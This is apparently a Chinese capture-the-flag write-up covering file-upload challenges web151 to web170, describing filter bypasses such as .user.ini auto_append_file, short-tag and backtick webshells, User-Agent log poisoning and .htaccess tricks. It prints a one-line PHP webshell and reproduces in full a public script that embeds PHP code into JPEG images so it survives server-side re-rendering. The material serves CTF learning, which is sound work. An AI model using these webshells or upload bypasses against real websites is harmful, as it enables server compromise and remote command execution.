web151
常规的前端验证,直接上传png后缀的webshell,然后burp改包为PHP,拿到webshell获取flag
web152
还是一样的操作,直接绕过
web153
他这边进行了后端验证,所以常规的php并无法正常上传
后端后缀不严格,导致phtml上传成功,但是并不能被解析,所以使用.user.ini
auto_append_file=”1.txt” 让所有的php文件都去包含整个txt
然后去访问upload下的index.php 就会包含1.txt。
web154
首先还是上传一个.user.ini 然后上传一个1.txt
发现常规的一句话木马无法上传,很明显是对文件内容做了过滤,应该是过滤了php,那就对php进行大小写过滤
上传成功后,访问upload/index.php
web155
先上传.user.ini auto_append_file=”1.txt”
然后上传一个1.txt的一句话木马 这道题过滤的是文件内容内的php。所以这里使用短标签绕过。<?=eval($_POST[‘cmd’]);?>
然后去访问upload/index.php
web156
这道题在上题的基础上过滤了[] 导致文件无法绕过,使用{}去代替[]绕过。
然后还是上传.user.ini
auto_append_file =”1.txt”
拿到权限,获取flag.php
web157
还是常规的上传.user.ini去让upload目录下的php文件去包含我们的png,然后png被php所解释。
这道题是因为eval这个函数被ban了。导致上题的姿势无法使用,所以这题使用system
web158
首先还是上传.user.ini 然后上传png
这里的system函数也被ban了。所以这里使用·众所周知,··
能在php里造成代码执行
然后<?=等同于<? echo
故构造
web159
使用和上题一样的套路可以绕过,
web160
我们在文件包含中学习到过,我们包含日志内的php能被解释。所以我们写shell进日志文件,然后去用include去包含日志文件,然后用.user.ini去将文件包含到文件下任意php文件。
我们先将shell放到UA,以便存入日志文件
然后去写1.png,去包含日志文件
nginx的日志文件存放于/var/log/nginx/access.log,所以我们去尝试包含此文件。
但是log被过滤了,所以我们用字符拼接绕过
所以我们的png就是
然后去上传.user.ini,让upload下的所有php去包含这个png
然后去看upload/index.php
拿到flag
web161
在原题的基础上增加了对文件头的检测。
所以加上.user.ini和1.png里面分别加入GIF89a
.user.ini记得换行
GIF89a
auto_append_file=”1.png”
web164
图片的二次渲染绕过
当我们上传一张图片之后,服务器会对其进行一次渲染,我们通过对比渲染后的图片和原图,能找到相同的地方表示不被渲染的地方,那么我们就往不会被渲染的地方写入一句话木马,并想办法执行,就能导致文件上传的命令执行。
上传一个png
png的话,要么写入到PLTE数据块。然后去计算PLTE数据快的crc.然后去修改CRC值。
或者写入IDAT块.
国外有大师傅写了一个创建一张图片,然后写入一句话木马的PHP脚本
将此脚本生成的png进行上传,文件包含,拿到权限获得flag。
web165
因为我看到很多人的博客都说成功不了,所以我们决定直接用gd去生成一张jpg
对gd没有研究,所以这边生成一张jpg之后去用网页去访问你这个php,将图片存到本地
然后使用大佬写的脚本
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '<?=`tac f*`?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
往我们自己生成的jpg图片里放入PHP代码。
php xx.php xxx.jpg
上传成功之后。直接burp发包拿到flag
web166
这道题只能上传zip
所以直接用zip上传一个一句话木马, 然后蚁剑连接。
web167
上传htaccess
我们先写一个htaccess,让普通的文件被php所解析。
这里前端有个限制,直接用burp绕过之后上传.htaccess
然后上传一个1.png的一句话木马
成功解析
web168
这关主要考的是php的免杀,这里我们暂时使用比较简单的免杀方式,后期会考虑独开一个笔记,
这里的payload很多不在赘述。
直接上传webshell
命令执行拿到flag
web169
这道题还是可以使用日志包含,上传.user.ini。
开淦开淦
一定要image/png
然后随便上传一个php文件。
然后往UA写shell
拿到flag
web170
还是一样。
先上传.user.ini去包含log日志,然后随便上传一个php文件。
然后往UA写shell。
蚁剑拿flag。